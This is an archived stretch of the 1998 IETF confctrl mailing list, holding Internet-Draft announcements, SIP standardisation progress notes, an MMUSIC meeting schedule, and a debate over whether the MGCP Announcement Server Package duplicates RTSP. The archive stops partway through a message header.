	id <XHL7K1NM>; Fri, 20 Nov 1998 15:48:04 -0700
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D85772EA@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'sigtran@baynetworks.com'"
	 <sigtran@baynetworks.com>,
        "'navdec@baynetworks.com'"
	 <navdec@baynetworks.com>
Subject: I-D draft-donovan-sip-gw-client-00.txt
Date: Fri, 20 Nov 1998 15:48:02 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE14D7.D542AF36"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE14D7.D542AF36
Content-Type: text/plain

This message is notification of the posting of the following Internet Draft:

<draft-donovan-sip-gw-client-00.txt>

Abstract:
This document describes a functional model of a gateway between the Public
Switched Telephony Network (PSTN) and a SIP-based IP network providing telephony
service. In this document, the SIP-based IP network will be referred to as
Telephony over IP Service (TIPS).The primary function of the gateway is to
handle connections involving one or more PSTN phones (i.e.; PSTN black phones)
as if those PSTN phones are SIP clients. The goal of this approach is to ensure
that SIP-based TIPS service logic applies to both native Internet-based SIP
clients and PSTN phones without modification.

The internet draft can be found at the following location:

http://search.ietf.org/internet-drafts/draft-donovan-sip-gw-client-00.txt

Regards,

Steve Donovan
MCIWorldcom

------_=_NextPart_001_01BE14D7.D542AF36
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>I-D draft-donovan-sip-gw-client-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT FACE=3D"Times New Roman">This message is notification of the =
posting of the following Internet Draft:</FONT>
</P>

<P><FONT FACE=3D"Times New =
Roman">&lt;draft-donovan-sip-gw-client-00.txt&gt;</FONT>
</P>

<P><FONT FACE=3D"Times New Roman">Abstract:</FONT>
<BR><FONT FACE=3D"Times New Roman">This document describes a functional =
model of a gateway between the Public Switched Telephony Network (PSTN) =
and a SIP-based IP network providing telephony service. In this =
document, the SIP-based IP network will be referred to as Telephony =
over IP Service (TIPS).The primary function of the gateway is to handle =
connections involving one or more PSTN phones (i.e.; PSTN black phones) =
as if those PSTN phones are SIP clients. The goal of this approach is =
to ensure that SIP-based TIPS service logic applies to both native =
Internet-based SIP clients and PSTN phones without =
modification.</FONT></P>

<P><FONT FACE=3D"Times New Roman">The internet draft can be found at =
the following location:</FONT>
</P>

<P><U><FONT COLOR=3D"#0000FF" FACE=3D"Times New Roman"><A =
HREF=3D"http://search.ietf.org/internet-drafts/draft-donovan-sip-gw-clie=
nt-00.txt" =
TARGET=3D"_blank">http://search.ietf.org/internet-drafts/draft-donovan-s=
ip-gw-client-00.txt</A></FONT></U>
</P>

<P><FONT FACE=3D"Times New Roman">Regards,</FONT>
</P>

<P><FONT FACE=3D"Times New Roman">Steve Donovan</FONT>
<BR><FONT FACE=3D"Times New Roman">MCIWorldcom</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE14D7.D542AF36--

From confctrl-owner  Fri Nov 20 15:33:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA27911
	for confctrl-outgoing; Fri, 20 Nov 1998 15:33:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA27906
	for <confctrl@zephyr.isi.edu>; Fri, 20 Nov 1998 15:33:22 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA12263
	for <confctrl@isi.edu>; Fri, 20 Nov 1998 15:33:20 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id SAA20057;
	Fri, 20 Nov 1998 18:32:47 -0500 (EST)
Message-Id: <199811202332.SAA20057@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-100rel-00.txt
Date: Fri, 20 Nov 1998 18:32:47 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: Reliability of Provisional Responses in SIP
	Author(s)	: J. Rosenberg, H. Schulzrinne
	Filename	: draft-ietf-mmusic-sip-100rel-00.txt
	Pages		: 7
	Date		: 19-Nov-98
	
This document specifies an extension to the Session Initiation
Protocol (SIP) providing reliable provisional response messages.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-100rel-00.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-100rel-00.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nic.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-100rel-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19981120180846.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-100rel-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-100rel-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19981120180846.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Nov 24 13:09:49 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA24419
	for confctrl-outgoing; Tue, 24 Nov 1998 13:09:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA24412
	for <confctrl@zephyr.isi.edu>; Tue, 24 Nov 1998 13:09:48 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA19826
	for <confctrl@isi.edu>; Tue, 24 Nov 1998 13:09:44 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id QAA03423; Tue, 24 Nov 1998 16:09:43 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: SIP progress
Date: Tue, 24 Nov 1998 16:09:43 -0500
Message-ID: <3421.911941783@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Just a quick progress report.  SIP was discussed at the IESG telechat
last Thursday, but no decision was taken on advancing it to Proposed
Standard because one of the other ADs needed more time to read and
comment on it.

We've now got back a long list of additional clarifications that are
required and we'll make these changes in the next few days.  It's
possible we may still get approval of the draft before the Orlando
meeting, but this isn't clear now.

What is clear is that SIP's use of DNS SRV records (which are
currently an Experimental Standard, but are being progressed to
Proposed Standard in the near future) will prevent SIP being formally
published as an Proposed Standard RFC until DNS SRV records are also
approved as a Proposed Standard (we had the same problem with RTSP
depending on SDP early this year).  What will happen is that SIP
should be approved by the IESG _pending_ the approval of DNS SRV
records.  Once SIP is conditionally approved, the SIP spec would then
be officially frozen, and it would be safe to implement from it
without risking the spec changing again.

Cheers,
	Mark

From confctrl-owner  Wed Nov 25 08:34:36 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25118
	for confctrl-outgoing; Wed, 25 Nov 1998 08:34:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25113
	for <confctrl@zephyr.isi.edu>; Wed, 25 Nov 1998 08:34:34 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA24129
	for <confctrl@isi.edu>; Wed, 25 Nov 1998 08:34:33 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA05099; Wed, 25 Nov 1998 11:34:27 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: MMUSIC meeting in Orlando
Date: Wed, 25 Nov 1998 11:34:27 -0500
Message-ID: <5097.912011667@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


MMUSIC will be meeting on Tuesday Dec 8th from 9am-11:15am at the
Orlando IETF.  Please let us know ASAP if you have any agenda items
that you'd like to raise.

Cheers,
	Mark

------- Forwarded Message

Date: Wed, 25 Nov 1998 11:10:50 -0500
To: Mark Handley <mjh@EAST.ISI.EDU>
From: Marcia Beaulieu <mbeaulie@ietf.org>
Subject: 43rd IETF-ORLANDO, FL: MMUSIC
Cc: jo@tzi.org, mjh@ISI.EDU, rlang@std.sri.com, schooler@cs.caltech.edu,
        sob@harvard.edu, vern@ee.lbl.gov

This is to confirm one session for MMUSIC as follows:

	Tuesday, December 8 at 0900-1115 (two one hour sessions combined)
		other groups scheduled at that time: 
			0900-1000 webrepl, pppext, entmib, udlr, idwg, nfsv4, uswg
			1000-1115 swap, ikstel, poisson, dnsind, bridge, vrrp, nfsv4

Please submit an agenda for these meeting as soon as possible, the
deadline for submitting the agenda is November 30 at 1200 noon ET.

Thanks,

Marcia

**********************************************************************
Marcia Beaulieu <mbeaulie@ietf.org>
Meeting Coordinator
Voice: 703-620-8990 ext. 210
Fax: 703-620-9071

------- End of Forwarded Message


From confctrl-owner  Sat Nov 28 08:21:52 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA20806
	for confctrl-outgoing; Sat, 28 Nov 1998 08:21:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA20801
	for <confctrl@zephyr.isi.edu>; Sat, 28 Nov 1998 08:21:50 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA09582;
	Sat, 28 Nov 1998 08:21:47 -0800 (PST)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id KAA26218; Sat, 28 Nov 1998 10:20:43 -0600 (CST)
Received: from sinnreich2 ([166.44.130.195]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19981128162040.UUWC13094@sinnreich2>;
          Sat, 28 Nov 1998 10:20:40 -0600
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: <navdec@BayNetworks.COM>, <confctrl@ISI.EDU>
Subject: Re: draft-cromwell-navdec-mgcp-audio-pkg-00.txt
Date: Sat, 28 Nov 1998 10:20:31 -0600
Message-ID: <000901be1aeb$052685c0$c3822ca6@sinnreich2.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Importance: Normal
In-Reply-To: <981029181748.ZM19850@seawind.bellcore.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The draft has a valuable summary of telephony announcements, but the core
capabilities in <draft-cromwell-navdec-mgcp-audio-pkg-00.txt> are also
available from an RTSP controlled media server.

Is there a duplication of core functionality here, or am I missing
something?

For example:
>The Announcement Server Package is comprised of events, parameters,
> variable qualifiers, and key qualifiers.

Would it make sense to map these specific telephony messages into RTSP? If
yes, how?

For local devices, would the Mbus make sense?
Message Bus for Conferencing Systems,
<draft-ietf-mmusic-mbus-transport-00.txt>

The bottom line is: How many protocols should we have? One per device?

What are the different telephony requirements between
1.  Media server - RTSP,
2.  Telephony announcement server - audio-pkg,
3.  Conference system and a telephony announcement device - Mbus?

Thanks, Henry


From confctrl-owner  Mon Nov 30 07:05:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA16864
	for confctrl-outgoing; Mon, 30 Nov 1998 07:05:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA16859
	for <confctrl@zephyr.isi.edu>; Mon, 30 Nov 1998 07:04:58 -0800 (PST)
Received: from hplb.hpl.hp.com (hplb.hpl.hp.com [192.6.10.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15361
	for <confctrl@isi.edu>; Mon, 30 Nov 1998 07:04:33 -0800 (PST)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by hplb.hpl.hp.com (8.8.6 (PHNE_14041)/8.8.6 HPLabs Bristol Relay) with ESMTP id PAA03095
	for <confctrl@isi.edu>; Mon, 30 Nov 1998 15:04:22 GMT
Received: from hplb.hpl.hp.com (kristensen-a-3.hpl.hp.com) by otter.hpl.hp.com with ESMTP
	(1.37.109.16/15.6+ISC) id AA096448261; Mon, 30 Nov 1998 15:04:21 GMT
Message-Id: <3662B517.502EB280@hplb.hpl.hp.com>
Date: Mon, 30 Nov 1998 15:09:11 +0000
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: Hewlett-Packard Laboratories, Bristol
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
Mime-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: SIP progress
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Mark Handley wrote:
> Just a quick progress report. SIP was discussed at the IESG telechat
> last Thursday, but no decision was taken on advancing it to Proposed
> Standard because one of the other ADs needed more time to read and
> comment on it.
> 
> We've now got back a long list of additional clarifications that are
> required and we'll make these changes in the next few days. It's
> possible we may still get approval of the draft before the Orlando
> meeting, but this isn't clear now.

Could you post those comments?  I'm sure lots of people on thsi list
would be interested.

Cheers,
Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Mon Nov 30 09:35:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA21495
	for confctrl-outgoing; Mon, 30 Nov 1998 09:35:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21490
	for <confctrl@zephyr.isi.edu>; Mon, 30 Nov 1998 09:35:03 -0800 (PST)
Received: from smtprich (smtprich.nortel.com [192.135.215.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA24890
	for <confctrl@ISI.EDU>; Mon, 30 Nov 1998 09:35:01 -0800 (PST)
Received: from zrtpd00m.us.nortel.com (actually zrtpd00m) by smtprich;
          Mon, 30 Nov 1998 11:34:06 -0600
Received: from zrtpd00x.us.nortel.com by zrtpd00m.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8) 
          id XTTX6NAJ; Mon, 30 Nov 1998 12:34:01 -0500
Received: from nrtphf4f.us.nortel.com by zrtpd00x.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8) 
          id X3CVPXZN; Mon, 30 Nov 1998 12:34:00 -0500
Message-ID: <3662D708.D388E064@americasm01.nt.com>
Date: Mon, 30 Nov 1998 12:34:01 -0500
From: "David Cromwell" <David.Cromwell.cromwell@nt.com>
Reply-To: "David Cromwell" <David.Cromwell.cromwell@nt.com>
Organization: Nortel
X-Mailer: Mozilla 4.06 [en] (X11; I; HP-UX B.10.20 9000/778)
MIME-Version: 1.0
To: Henry Sinnreich <henry.sinnreich@mci.com>
CC: navdec@BayNetworks.COM, confctrl <confctrl@ISI.EDU>
Subject: Re: draft-cromwell-navdec-mgcp-audio-pkg-00.txt
References: <000901be1aeb$052685c0$c3822ca6@sinnreich2.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henry,

I appreciate you bringing this up.  There is a general misunderstanding about
the nature of the proposed MGCP Announcement Server Package, and I welcome
this opportunity to set the record straight.  RTSP and the MGCP Audio Server
Package (ASP) are wildly different.   We're not talking apples and oranges
here either;  it's more like apples and orangutans.

Henry Sinnreich wrote:

> The draft has a valuable summary of telephony announcements, but the core
> capabilities in <draft-cromwell-navdec-mgcp-audio-pkg-00.txt> are also
> available from an RTSP controlled media server.
>
> Is there a duplication of core functionality here, or am I missing
> something?

RTSP supports client control of media stream(s) from a server.   Typically
RTSP would sit on top of a transport mechanism such as RTP.  Both RTSP and
RTP are fairly low level protocols which form part of an ubiquitous VOIP
network infrastructure.  RTSP provides minimal play and record operations.

The ASP lives at a much higher level in the system.  It sits right below the
application and provides  an IVR toolkit for application programmers.   Its
contents are highly IVR specific.  It provides a standard sets of
announcements, multilanguage voice variables, special key definitions,
reprompting, etc., etc., all of which are useful for doing IVR.  There are
lots of places in a VOIP network where the Announcement Package would not be
appropriate.  In fact the only place where it would be appropriate is in the
control of an *Announcement* Server (I am carefully not saying *Media* Server
here).

Additionally, RTSP is a symmetrical protocol where both client and server can
issue requests/commands.  In the protocol into which the the ASP is embedded,
flow of control goes only one way.  The call agent issues commands to a
server.  That's it.

>
>
> For example:
> >The Announcement Server Package is comprised of events, parameters,
> > variable qualifiers, and key qualifiers.
>
> Would it make sense to map these specific telephony messages into RTSP? If
> yes, how?

I don't think so.  The mismatch in levels is too great.  It would be like
adding a graphics package to TCP/IP.  Just to take a single for instance, I
can't see that support for a specific set of multilanguage voice variables
(date, time, money, duration, etc.) has any relevance to RTSP.  RTSP and ASP
are not mutually exclusive however.  I can envision ASP operations being
invoked by an application which filter down at some point to RTSP and RTP.

>
>
> For local devices, would the Mbus make sense?
> Message Bus for Conferencing Systems,
> <draft-ietf-mmusic-mbus-transport-00.txt>

Mbus is specifically aimed at co-ordinating conferences.  I won't go into a
detailed analysis, but, for example, I don't think the concept of a
whiteboard has any relevance to IVR.

>
>
> The bottom line is: How many protocols should we have? One per device?
>
> What are the different telephony requirements between
> 1.  Media server - RTSP,
> 2.  Telephony announcement server - audio-pkg,
> 3.  Conference system and a telephony announcement device - Mbus?
>
> Thanks, Henry

The proliferation of protocols and the overlap of functionality between
protocols is a legitimate concern, and it would be unfortunate to see the
VOIP world evolve into a Tower of Babel.  But in regard to the specific
question that you raised, I think that RTSP and ASP are very different and
that each has a legitimate place in the VOIP world.

Regards,
David
--
cromwell@nortelnetworks.com
Nortel Networks  RTP, NC



From confctrl-owner  Mon Nov 30 10:38:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA24738
	for confctrl-outgoing; Mon, 30 Nov 1998 10:38:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA24733
	for <confctrl@zephyr.isi.edu>; Mon, 30 Nov 1998 10:38:47 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA02556
	for <confctrl@ISI.EDU>; Mon, 30 Nov 1998 10:38:44 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA25006;
	Mon, 30 Nov 1998 13:38:32 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA22322;
	Mon, 30 Nov 1998 13:38:30 -0500 (EST)
Message-ID: <3662E626.19B2B9F1@cs.columbia.edu>
Date: Mon, 30 Nov 1998 13:38:30 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: cromwell@nortelnetworks.com
CC: Henry Sinnreich <henry.sinnreich@mci.com>, navdec@BayNetworks.COM,
        confctrl <confctrl@ISI.EDU>
Subject: Re: draft-cromwell-navdec-mgcp-audio-pkg-00.txt
References: <000901be1aeb$052685c0$c3822ca6@sinnreich2.mcit.com> <3662D708.D388E064@americasm01.nt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

"Cromwell, David (BNR:BNRTP:C863)" wrote:
> 
> Henry,
> 


> 
> > The draft has a valuable summary of telephony announcements, but the core
> > capabilities in <draft-cromwell-navdec-mgcp-audio-pkg-00.txt> are also
> > available from an RTSP controlled media server.
> >
> > Is there a duplication of core functionality here, or am I missing
> > something?
> 
> RTSP supports client control of media stream(s) from a server.   Typically
> RTSP would sit on top of a transport mechanism such as RTP.  

RTSP does not sit "on top" of RTP in any geometry sense that I can think
of. RTSP can control RTP streams, but it can also control any other
media stream delivered via ATM, POTS or anything else. Indeed, many of
the PINT principles apply here. RTSP does have some RTP-specific things
in it (Transport-Info).


> The ASP lives at a much higher level in the system.  It sits right below the
> application and provides  an IVR toolkit for application programmers.   Its
> contents are highly IVR specific. 

I thought we were standardizing protocols, not APIs? Clearly, an IVR API
would not have a 'RTSP_Play' API. But that doesn't preclude it from
using RTSP underneath, if it can perform the necessary mappings.


> Additionally, RTSP is a symmetrical protocol where both client and server can
> issue requests/commands.  In the protocol into which the the ASP is embedded,
> flow of control goes only one way.  The call agent issues commands to a
> server.  That's it.

This is a bogus argument. RTSP can be used symmetrically, but for many
applications, it is a client-server protocol, with one client and one
server. Clearly, as an announcement application, the flow of control
would be one way, with the controller sending RTSP requests to the
announcement server to play announcements.

From confctrl-owner  Mon Nov 30 11:02:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA26051
	for confctrl-outgoing; Mon, 30 Nov 1998 11:02:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA26041
	for <confctrl@zephyr.isi.edu>; Mon, 30 Nov 1998 11:02:11 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA05684
	for <confctrl@ISI.EDU>; Mon, 30 Nov 1998 11:02:07 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Mon Nov 30 14:00:07 EST 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id OAA28523;
	Mon, 30 Nov 1998 14:00:06 -0500 (EST)
Message-ID: <3662EA79.49219190@dnrc.bell-labs.com>
Date: Mon, 30 Nov 1998 13:56:57 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: cromwell@nortelnetworks.com
CC: Henry Sinnreich <henry.sinnreich@mci.com>, navdec@BayNetworks.COM,
        confctrl <confctrl@ISI.EDU>
Subject: Re: draft-cromwell-navdec-mgcp-audio-pkg-00.txt
References: <000901be1aeb$052685c0$c3822ca6@sinnreich2.mcit.com> <3662D708.D388E064@americasm01.nt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Cromwell, David (BNR:BNRTP:C863) wrote:
> 
> RTSP supports client control of media stream(s) from a server.   Typically
> RTSP would sit on top of a transport mechanism such as RTP.  Both RTSP and
> RTP are fairly low level protocols which form part of an ubiquitous VOIP
> network infrastructure.  RTSP provides minimal play and record operations.

RTSP does not sit ontop of RTP. RTSP can control a media server which
makes use of RTP to deliver content, but thats not the same thing.

> 
> The ASP lives at a much higher level in the system.  It sits right below the
> application and provides  an IVR toolkit for application programmers.   Its
> contents are highly IVR specific.  It provides a standard sets of
> announcements, multilanguage voice variables, special key definitions,
> reprompting, etc., etc., all of which are useful for doing IVR.  There are
> lots of places in a VOIP network where the Announcement Package would not be
> appropriate.  In fact the only place where it would be appropriate is in the
> control of an *Announcement* Server (I am carefully not saying *Media* Server
> here).

I'm not so sure that ASP is "higher" than RTSP; both protocols are
application layer protocols in the sense that they run ontop of an IP
transport protocol (TCP or UDP). Both provide services for applications
(one IVR, one media control). Both, in fact, provide control services.
What about them makes one "higher" and the other "lower"?

Support for announcements, voice variables, and the like are not
explicitly part of RTSP, true. However, these seem to be issues related
to namespaces at the RTSP server, not fundamental protocol features. One
could simply define a namespace (i.e., a standard set of filenames) for
all of the variables, announcements, tones, and the such, that you'd
like to play. RTSP is not specific to "movies" or "radio"; its a more
generic tool for playing and recording audio or video. Announcements fit
into this category so long as you can put a name on what you want to
play.

So, for example the URL:

rtsp://announcementserver.com/asp/variables/money/dollar/1

Could have the server speak the words "one dollar", while

rtsp://announcementserver.com/asp/tones/pound

Could cause the server to play the tone corresponding to the pound. RTSP
can also be used to control the volume and duration of the tone.
Supporting this requires no changes to RTSP, just an agreement on the
namespace.

> 
> Additionally, RTSP is a symmetrical protocol where both client and server can
> issue requests/commands.  In the protocol into which the the ASP is embedded,
> flow of control goes only one way.  The call agent issues commands to a
> server.  That's it.

This is true, but doesn't seem to be an argument about why RTSP is not
appropriate here; if anything, just the opposite, since it supports the
client/server command/response architecture you need, and then some.



> I don't think so.  The mismatch in levels is too great.  It would be like
> adding a graphics package to TCP/IP.  Just to take a single for instance, I
> can't see that support for a specific set of multilanguage voice variables
> (date, time, money, duration, etc.) has any relevance to RTSP.  RTSP and ASP
> are not mutually exclusive however.  I can envision ASP operations being
> invoked by an application which filter down at some point to RTSP and RTP.

Its not so clear to me that there is such a great mismatch. I agree RTSP
does not currently do everything ASP is trying to do, but its perhaps
not as far away as you indicate. My only point is that it perhaps
deserves closer study.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Nov 30 12:50:53 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA01047
	for confctrl-outgoing; Mon, 30 Nov 1998 12:50:53 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA01042
	for <confctrl@zephyr.isi.edu>; Mon, 30 Nov 1998 12:50:51 -0800 (PST)
Received: from smtprich (smtprich.nortel.com [192.135.215.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA24098
	for <confctrl@ISI.EDU>; Mon, 30 Nov 1998 12:50:47 -0800 (PST)
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by smtprich;
          Mon, 30 Nov 1998 14:50:38 -0600
Received: from zrtpd00x.us.nortel.com by zrtpd004.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8) 
          id XTT67BPY; Mon, 30 Nov 1998 15:50:32 -0500
Received: from nrtphf4f.us.nortel.com by zrtpd00x.us.nortel.com 
